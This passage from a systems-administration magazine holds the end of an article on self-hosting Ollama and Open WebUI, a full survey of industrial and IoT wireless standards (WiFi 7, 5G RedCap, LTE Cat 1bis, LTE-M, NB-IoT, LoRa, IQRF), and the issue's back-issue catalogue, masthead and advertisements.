you should consider your hardware needs and run tests first. What seems workable at one setting might become much heavier at another. If your system lacks a dedicated GPU, the CPU can still suffice, but you will usually need to stick to much smaller models and accept slower performance and sometimes accuracy. In practice, choosing a model that fits your hardware well is better than chasing a larger model that makes the system frustrating to use.

Final Thoughts

Running Ollama and Open WebUI locally gives you a practical way to keep more control over your data while still enjoying the convenience of a modern AI interface. By setting up the stack with persistent storage, a clean update path, and regular backups, you make it much easier to recover from mistakes, failed updates, or hardware problems without starting over.

More importantly, this approach gives you a setup that is flexible enough to grow with your needs. Whether you are simply experimenting with local AI tools or planning to use them more seriously over time, a well-structured Compose deployment gives you a solid and maintainable foundation. ■

Info


- [1] Docker Engine on Ubuntu: <https://docs.docker.com/engine/install/ubuntu/>
- [2] Ollama model library: <https://ollama.com/library>

Author

Roland Taylor is a writer, designer, and open source advocate covering Linux, creative tools, and practical self-hosted workflows.

Public Money

Public Code



Modernising Public Infrastructure
with Free Software



Free Software Foundation Europe

Learn More: <https://publiccode.eu/>

Industrial Wireless Standards at a Glance

On the Same Wavelength

New wireless standards significantly expand the potential applications for wireless communication in industrial and IoT environments, but not every standard is suitable for every task. We look at which technologies are suitable for which use case. By Tam Hanna

The Internet of Things (IoT) has fundamentally changed the landscape of wireless standards. New transmission methods developed specifically for sensors and actuators in the field are challenging the established triad of Bluetooth, 4/5G, and WiFi. Advances in semiconductor technology are also driving this change, with smaller structure sizes helping to accommodate more compute logic in the same packaging space and, in turn, enabling the practical implementation of what used to be purely theoretical complex wireless methods.

In this article, I provide an overview of wireless standards that currently play a role in industrial environments and in the context of the IoT. The focus is on technologies that have seen innovations in recent months, with the aim of showing the application scenarios and benefits of the individual standards. What this article deliberately does not do is look at the basic physics of wireless transmission over the air interface.

Three Bands for the First Time

As inexpensive WiFi hardware becomes increasingly prevalent, shared use of the air interface is also increasing. WiFi 7 – also known by its IEEE 802.11be designation – addresses this problem with a key innovation: three frequency bands in parallel for the first time.

Besides the 2.4 and 5GHz bands already familiar from WiFi 6, WiFi 7 also supports the 6GHz band that was previously dedicated to the comparatively less widespread WiFi 6E standard – which explains why hardly any of the spectrum capacity has been used to date.

The center line in the spectrum diagram in [Figure 1](#) shows that even the 6GHz band is not completely free. The spectrum has been approved to varying degrees worldwide, meaning that channel availability differs depending on the region. In line with this, and like previous WiFi generations, regional

parameterization of consumer devices is an essential task.

Ongoing technical advances target higher performance. Channels can now use a width of up to 320MHz, and a new type of modulation is also used: 4096-QAM (4K-QAM), which transmits 12 bits of user data per symbol. To improve resilience and co-existence, WiFi 7 devices can use up to 16 antennas. The multilink operation (MLO) approach lets end devices use several frequency bands at the same time, and the flexible channel utilization function supports selective suppression of channel areas with interference; previously this meant having to avoid the entire channel. The core benefits of WiFi 7 are two-fold: higher interference immunity in densely populated frequencies and the ability to serve significantly more clients in parallel efficiently. In my opinion, the higher nominal data rate is secondary in many practical applications.

As usual, IEEE is responsible for the underlying standardization work. The

Lead Image © Gloria Rosazza, 123RF.com




Figure 1: Not all channels in the 6GHz band are available everywhere in the world. © Cisco

designation 802.11be is indicative of this origin. In the case of WiFi 7, the standard has not yet been fully ratified, although this step is expected in the coming months. In parallel, the Wi-Fi Alliance [1] started certifying initial devices in 2024.

Support is also well advanced at the operating system level. Starting with Build 26063.1, Windows 11 supports WiFi 7. Basic integration in Linux has been available since kernel 6.2; stable support is available from version 6.5 onward. For Android, WiFi 7 will be supported from Android 13 onward. In practice, however, this claim is mostly theoretical, because smartphones do not have upgradable WiFi modules.

5G RedCap: Slower, More Economical, More Durable

Although the announcements surrounding WiFi 7 at least partly relate to maximum bandwidth, 5G RedCap (short for reduced capability) takes a completely different approach: reduced performance, but lower costs and significantly reduced power consumption (Figure 2).

The reason for the deliberately limited capability is technical in nature:

The more functions a wireless module supports, the more space is required on the semiconductor chip, which hikes production costs, reduces the yield per wafer, and increases energy consumption during operation. Doing without features that are dispensable in the IoT context means that wireless modules can be manufactured more cheaply; at the same time, their power consumption can be reduced significantly. From a functional perspective, 5G RedCap is positioned between the three established application scenarios for 5G technology: enhanced mobile broadband (eMBB), ultra-reliable low latency

communication (uRLLC), and massive machine type communication (mMTC). Compared with other energy-efficient IoT wireless systems, 5G RedCap impresses with its lower latency. At the same time, the transmission speed is higher than with LTE Cat-1, which has been




Figure 2: RedCap radio systems offer a reduced range of functions at lower costs. © Ericsson

used in many industrial IoT scenarios to date. Another advantage is that RedCap is part of the 5G New Radio (NR) stack, which means that devices will remain compatible for many years – as long as 5G mobile communications are available.

In many ways, RedCap stands in stark contrast to WiFi 7, which is designed for dense infrastructures with high requirements, whereas RedCap addresses resource-saving applications in the field. Its strategic importance is also underscored by the establishment of a dedicated working group by the Global Mobile Suppliers Association (GSA): The 5G RedCap Special Interest Group announced it is exclusively dedicated to the further development of this new profile within the 5G ecosystem [2].

LTE Cat 1bis: The Best of 4G

One of the most interesting features of the original LTE standard was antenna diversity (i.e., the use of multiple antennas to improve reception quality). This technology has also been adopted in 5G, but it comes at a price: More antennas means more circuits, more space on the chip, and additional manufacturing costs.

LTE Cat 1bis is a targeted counter-design: The standard supports 4G communication with only one antenna and with the greatest possible compatibility and least complexity. Although LTE Cat 1 already pursued a similar goal in 2008, vague specifications meant it remained unclear

for a long time whether one antenna would be sufficient. It was not until the Cat 1bis specification was published in 2017 that this question was clearly resolved. Incidentally, the suffix “bis” is from the Latin for “twice,” in the sense of a second attempt. A summary of the development can be found online [3].

LTE Cat 1bis is attractive for network operators: From the perspective of the radio cell, a corresponding terminal device behaves like a normal LTE client device with reduced antenna power (Figure 3). No special infrastructure is required – every 4G cell is automatically Cat 1bis-compatible. Technically, the elimination of the second antenna results in losses in what is known as the link budget (i.e., in the ability to work with weak signals). In practice, a Cat 1bis module requires about 2-3dB more reception power than a classic LTE device with two antennas to establish the same connection. Incidentally, the decibel unit regularly appears in the field of radio communications, as do derived quantities such as the power relative to 1mW (dBm) and the gain relative to an isotropic antenna (dBi). You can find an excellent introduction to this topic online [4].

The bandwidth is also slightly limited: Realistic values are around 10Mbps in the downlink and 5Mbps in the uplink, with latencies less than 100ms. These values are more than sufficient for many industrial IoT applications. One additional advantage is that because LTE Cat 1bis is fully

LTE-compatible, many modules also support voice over long-term evolution (VoLTE) – provided the terminal devices have the required analog hardware.

Although the nominal power consumption of Cat 1bis modules is greater than that of energy-saving standards such as narrowband IoT (NB-IoT) or long-term evolution for machines (LTE-M), the overall energy efficiency can be better in practice because of what is known as the race-to-idle principle: Data is transmitted at high power for a short time, after which the module quickly switches to an energy-saving state. In many scenarios, this strategy is more energy-efficient than a longer transmission at low power.

Industry experts now assume that LTE Cat 1bis will become the preferred mobile communications standard in the IoT sector. Qualcomm, one of the leading manufacturers of mobile communications chips, emphasized the strategic importance of Cat 1bis in a whitepaper [5].

LTE-M: Lean Mobile Connectivity for Machines

Whereas LTE Cat 1bis saves costs by doing without a second antenna, LTE-M (for machine-to-machine and IoT applications) takes things one step further with targeted simplifications of the transceiver design. LTE-M is also often referred to as enhanced machine type communication (eMTC) or LTE Cat M1.

The trick is that LTE-M modules operate in half-duplex mode (i.e., they alternate between transmission and reception and never attempt both at the same time). They also use particularly narrow frequency bands. This combination significantly reduces the complexity of the transmission and reception electronics and therefore the transistor budget, chip size, and manufacturing costs, as well. A technical deep dive is available in a whitepaper by *IoT Insider* online [6].

Despite these limitations, LTE-M remains fully LTE-compatible. Network




Figure 3: An LTE Cat 1bis device behaves like a standard LTE client with the second antenna disabled. © u-blox.com

operators can activate the technology on existing base stations with a software update – a significant advantage for widespread rollouts on the IoT. One functional advantage over NB-IoT is its support for cell handover: LTE-M terminal devices can seamlessly switch from one radio cell to the next on the move, which makes the technology ideal for mobile applications such as asset tracking, wearables, or connected vehicles. In terms of performance, the following applies:

- **Bandwidth:** Depending on the network configuration, up to 7Mbps in the uplink and 4Mbps in the downlink are possible.
- **Latency:** Values of less than 15ms are typical, which is fine for many IoT applications.

LTE-M, like NB-IoT, is not available worldwide. The GSMA deployment map [7] shows the global coverage of various IoT wireless standards (Figure 4).

NB-IoT: Stationary Narrowband Radio

3GPP Release 13 not only introduced LTE-M (eMTC), but also a second specialized IoT wireless standard: NB-IoT. Unlike LTE-M, this standard is not a simplified form of LTE, but a completely new design.

What both technologies have in common, though, is the use of narrow frequency ranges. NB-IoT only needs 180kHz of bandwidth, which precisely corresponds to the distance between two regular LTE carriers. Therefore, NB-IoT can be accommodated efficiently in existing LTE frequency spectra – without mobile operators having to purchase additional licenses.

From a technical point of view, two variants of NB-IoT are available: LTE Cat NB1 and Cat NB2. However, both are severely limited:

- Depending on the version, the maximum uplink data rate ranges from the low tens to a maximum of 150Kbps.
- Latency times are typically between 1.6 and 10 seconds, which rules out NB-IoT for any form of real-time communication.

The specification therefore seems outdated even compared with 3G. Nevertheless, NB-IoT has its place in very low energy and low data scenarios (e.g., in stationary meters, trackers, or environmental sensors that only send a few bytes per day). Another drawback is that NB-IoT does not support cell handover, which rules out mobility; ideally, the transmitter and receiver should be located in the same place throughout their entire life cycles. Voice services are also not possible. Despite all these limitations, NB-IoT is gaining relevance thanks to an

important extension: 3GPP Release 17 defines a satellite extension for NB-IoT. The first satellites in low earth orbit (LEO) are already in continuous operation, and providers such as Sateliot are offering trial areas for test applications, which makes NB-IoT the first cellular IoT wireless standard with direct satellite connectivity – a potential game changer for remote sensors in agriculture, logistics, or environmental monitoring.

Semtech and LoRa: LPWAN Exceeding Itself

From the outset, one key promise made by low-power wide area network (LPWAN) technologies was their independence from traditional network operators. This feature is emphasized by terms such as unlicensed LPWAN (i.e., wireless systems that can be operated without a licensed spectrum and without a mobile phone contract).

At Embedded World, Semtech, the company behind long-range (LoRa) LPWAN technology, presented the latest chip generation: the LR1121. This platform extends the LoRa standard with new capabilities. What is particularly noteworthy is the support for LoRa fast long-range communication (FLRC), a mode that is more energy intensive but enables significantly higher data




Figure 4: The GSMA map shows where different IoT wireless technologies are in use. © GSMA

rates. With suitable remote stations, speeds of up to 2.6Mbps can be achieved. Semtech is marketing this feature specifically for applications such as the transmission of AI training data, which previously required a separate high-speed radio chip.

Another trend is the integration of other LPWAN technologies. For example, the new transceiver in the LR1121 can be integrated into Amazon Sidewalk or M-Bus-based telemetry systems without the need for a second radio chip. This convergence reduces both system costs and complexity for embedded developers. The back-end ecosystem focused around LoRa is also evolving. One new feature is an audio streaming with LoRa service, which enables the transmission of audio data in limited but usable quality. Also, LoRa round trip time of flight (RT-ToF) allows position determination or distance measurement by pure radio transit times.

One particularly ambitious step is expansion into space: Under non-terrestrial network (NTN) LoRaWAN, LoRa is now being used for direct satellite communication. However, this mode requires cooperation with a LoRaWAN network operator: Completely independent implementations are not possible. The target group is applications in remote areas, such as agriculture, disaster control, or maritime logistics.

IQRF: Long-Range Mesh

Mesh networks are a cost-effective alternative for people who want to achieve long range without mobile communications or satellites. Unlike point-to-point connections, the radio modules in a mesh can forward data to each other, much like repeaters or relay stations, ensuring robust connections, even over long distances. One interesting candidate in this category is IQRF, a mesh radio system for IoT applications that has been under development in the Czech Republic for many years. One new outcome is the founding of the IQRF Alliance [8], an initiative for the further development of open source central system components. IQRF thus positions itself as a cross-manufacturer platform with long-term prospects, especially for use in industrial and infrastructure networks.

Conclusion


Modern semiconductor technology opens up an impressive range of wireless standards for IoT and industrial applications. However, physical performance data is not the only factor that matters when making a selection: It is not the fastest or most modern wireless standard that wins, but the one that suits the specific application scenario. If you keep a keen eye on availability, maintainability, and investment security, you will definitely make superior decisions in the long term. ■

Info

- [1] Wi-Fi Alliance: [\[https://www.wi-fi.org\]](https://www.wi-fi.org)
- [2] 5G RedCap Special Interest Group: [\[https://gsacom.com/press-release/gsa-forms-new-5g-redcap-sig/\]](https://gsacom.com/press-release/gsa-forms-new-5g-redcap-sig/)
- [3] LTE standards for IoT: [\[https://onomondo.com/blog/lte-standards-for-iot-comparison/\]](https://onomondo.com/blog/lte-standards-for-iot-comparison/)
- [4] Introduction to decibels: [\[https://scdn.rohde-schwarz.com/ur/pws/dl_downloads/dl_application/application_notes/1ma98/1MA98_14e_dB_or_not_dB.pdf\]](https://scdn.rohde-schwarz.com/ur/pws/dl_downloads/dl_application/application_notes/1ma98/1MA98_14e_dB_or_not_dB.pdf)
- [5] Significance of Cat 1bis: [\[https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/whitepaper_understanding_the_benefits_of_lte_cat_1bis_technology.pdf\]](https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/whitepaper_understanding_the_benefits_of_lte_cat_1bis_technology.pdf)
- [6] Technical deep dive into LTE-M: [\[https://www.iotinsider.com/iot-insights/technical-insights/lte-m-vs-cat-1bis-why-lte-m-wins-for-asset-trackers/\]](https://www.iotinsider.com/iot-insights/technical-insights/lte-m-vs-cat-1bis-why-lte-m-wins-for-asset-trackers/)
- [7] GSMA deployment map: [\[https://www.gsma.com/solutions-and-impact/technologies/internet-of-things/deployment-map/\]](https://www.gsma.com/solutions-and-impact/technologies/internet-of-things/deployment-map/)
- [8] IQRF Alliance: [\[https://www.iqrfalliance.org/index.php\]](https://www.iqrfalliance.org/index.php)

The Author

Tam Hanna (*tam.hanna* on Instagram) has seen the embedded space inside and out. His multidecade work has involved coding games for early mobile phones, designing metrology systems, and tackling various projects for civil and military clients.



Want to subscribe?

Searching for that back issue you really wish you'd picked up at the newsstand?

Browse the full catalog to find the open source and technology information you need.




Customers in Europe or the United Kingdom (EUR/GBP)
shop.sparkhausmedia.com/shop





Customers in All Other Countries (USD)
shop.linuxnewmedia.com/shop

DIGITAL & PRINT SUBSCRIPTIONS



SPECIAL EDITIONS



ADMIN

MAGAZINE

NEWSSTAND

Order online:
bit.ly/ADMIN-Library

ADMIN is your source for technical solutions to real-world problems. Every issue is packed with practical articles on the topics you need, such as: security, cloud computing, DevOps, HPC, storage, and more! Explore our full catalog of back issues for specific topics or to complete your collection.



#92 - March/April 2026

Non-Human Identity Management

Address the increasing number of attack surfaces presented by NHIs by focusing on attribute and capability descriptions.

On the DVD: Rocky Linux 10.1




#91 - January/February 2026

AI in the Enterprise

New tools bring the power of artificial intelligence and machine learning to the corporate world.

On the DVD: Fedora Server 43




#90 - November/December 2025

VoIP Network Security

Session Initiation Protocol provides both the underpinnings for VoIP and a potential attack vector for hackers. Open source tools can help you test and secure your VoIP networks.

On the DVD: Ubuntu 25.10 Server




#89 - September/October 2025

Automation

Optimize, automate, and manage workflows and processes in your data center.

- Microsoft Power Automate
- Ansible Automation Platform

On the DVD: IPFire 2.29 Core Update 196




#88 - July/August 2025

5 Network Admin Distros

Admin distros take both workstations and servers into account, have broad support for various filesystems, deploy in heterogeneous environments without restrictions, and come with the necessary tool collections.

On the DVD: openSUSE Leap 15.6



#87 - May/June 2025

Lightweight Kubernetes

K3s, k0s, and MicroK8s vie for performance honors on the control plane and data plane in artificially created extreme stress scenarios.

On the DVD: AlmaLinux 9.5 Minimal



WRITE FOR US

Admin Magazine is looking for good, practical articles on system administration topics. We love to hear from IT professionals who have discovered innovative tools or techniques for solving real-world problems.

Tell us about your favorite:

- Interoperability solutions
- Practical tools for cloud environments
- Security problems and how you solved them
- Ingenious custom scripts

- Unheralded open source utilities
- Windows networking techniques that aren't explained (or aren't explained well) in the standard documentation

We need concrete, fully developed solutions: installation steps, configuration files, examples – we are looking for a complete discussion, not just a “hot tip” that leaves the details to the reader.

If you have an idea for an article, send a 1-2 paragraph proposal describing your topic to:
edit@admin-magazine.com.



Authors	
Amber Ankerholz	6
Klaus Bierschenk	32
Tam Hanna	90
Ken Hess	3
Nakka Hrushikesh	48
Thomas Joos	26
Christian Knemann	54
Martin Gerhard Loschwitz	20, 68, 74
Paul Nixer	62
Harshal Purohit	48
Dr. Holger Reibold	10
Anne Springwald	16
Roland L. Taylor	82
Dr. B. Thangaraju	48
Nico Thiemer	37, 42
Thorsten Scherf	46
Matthias Wübbeling	60

Contact Info

Editor in Chief

Joe Casad, jcasad@linuxnewmedia.com

Managing Editors

Rita L Sooby, rsooby@linuxnewmedia.com

Lori White, lwhite@linuxnewmedia.com

Senior Editor

Ken Hess

Localization & Translation

Ian Travis

News Editor

Amber Ankerholz

Copy Editors

Amy Pettie, Aubrey Vaughn

Layout

Dena Friesen, Lori White

Cover Design

Dena Friesen, Illustration based on graphics by dasmoumita 123RF.com

Advertising

Brian Osborn, bosborn@linuxnewmedia.com

Publisher

Brian Osborn

Marketing Communications

Gwen Clark, gclark@linuxnewmedia.com

Linux New Media USA, LLC

4840 Bob Billings Parkway, Ste 104

Lawrence, KS 66049 USA

Customer Service / Subscription

Email: cs@linuxnewmedia.com

Phone: 1-785-856-3080

www.admin-magazine.com

While every care has been taken in the content of the magazine, the publishers cannot be held responsible for the accuracy of the information contained within it or any consequences arising from the use of it. The use of the DVD provided with the magazine or any material provided on it is at your own risk.

Copyright and Trademarks © 2026 Linux New Media USA, LLC.

No material may be reproduced in any form whatsoever in whole or in part without the written permission of the publishers. It is assumed that all correspondence sent, for example, letters, email, faxes, photographs, articles, drawings, are supplied for publication or license to third parties on a non-exclusive worldwide basis by Linux New Media unless otherwise stated in writing.

All brand or product names are trademarks of their respective owners. Contact us if we haven't credited your copyright; we will always correct any oversight.

Printed in Nuremberg, Germany by be1druckt GmbH.

Distributed by Seymour Distribution Ltd, United Kingdom

ADMIN (Print ISSN: 2045-0702, Online ISSN: 2831-9583, USPS No: 347-931) is published bimonthly by Linux New Media USA, LLC, and distributed in the USA by Asendia USA, 701 Ashland Ave, Folcroft PA. May/June 2026. POSTMASTER: send address changes to ADMIN, 4840 Bob Billings Parkway, Ste 104, Lawrence, KS 66049, USA.

Represented in Europe and other territories by: Sparkhaus Media GmbH, Bialasstr. 1a, 85625 Glonn, Germany.

Coming

Soon


ADMIN 94

Our next issue will be packed with all the great content you expect from *ADMIN*. Here are a few of the upcoming articles:

- OpenStack Market
- Hardening Containers
- Self-Healing Storage
- Ephemeral Containers
- And much more!

Please note: Articles could change before the next issue.

Available Starting August 7



BE THE FIRST TO SEE WHAT'S NEXT

Subscribe free to the *ADMIN* Preview newsletter and get a sneak peek at every article included in the next issue of *ADMIN Magazine*.



Sign up today at <https://bit.ly/admin-preview>

Image © hobbitfoot, 123RF.com



Tiny powerhouse TUXEDO Nano Pro - Gen14



The TUXEDO Nano Pro 14 – Gen14 combines high performance in an extremely compact format. Equipped with AMD Ryzen AI processors from the 300 series, it delivers efficient multi-core power and modern AI functionality in a chassis that is significantly smaller than a standard shoe-box. The AMD Radeon graphics enable smooth

multimedia and productivity applications, while up to four simultaneously running displays ensure maximum productivity. With up to 96 GB of DDR5 RAM, 10 TB of SSD storage, and extensive connectivity such as DisplayPort, HDMI, USB4, and dual LAN, it delivers strong desktop performance in a minimal footprint.



Not just an upgrade. *A WHOLE NEW PERFORMANCE CLASS.*

Dedicated Server EX131 with
Intel® Xeon® 6731P CPU



HETZNER

With the new CPU Intel® Xeon® 6731P CPU,
the EX131 unlocks **significantly more power**
for databases and virtualization!

htznr.li/Admin/EX131



Dedicated Server EX131

Intel® Xeon® 6731P CPU
32 Cores & 64 Threads
Up to 256 GB DDR5 RAM
Up to 4× 7.68 TB(Gen 5) NVMe SSD

Configure your EX131 now!

Promo code only for new customers - activate before 31 January 2027 - valid for 3 months after activation.
All prices exclude VAT, setup fees and are subject to the terms and conditions of Hetzner Online GmbH. Prices are subject to change.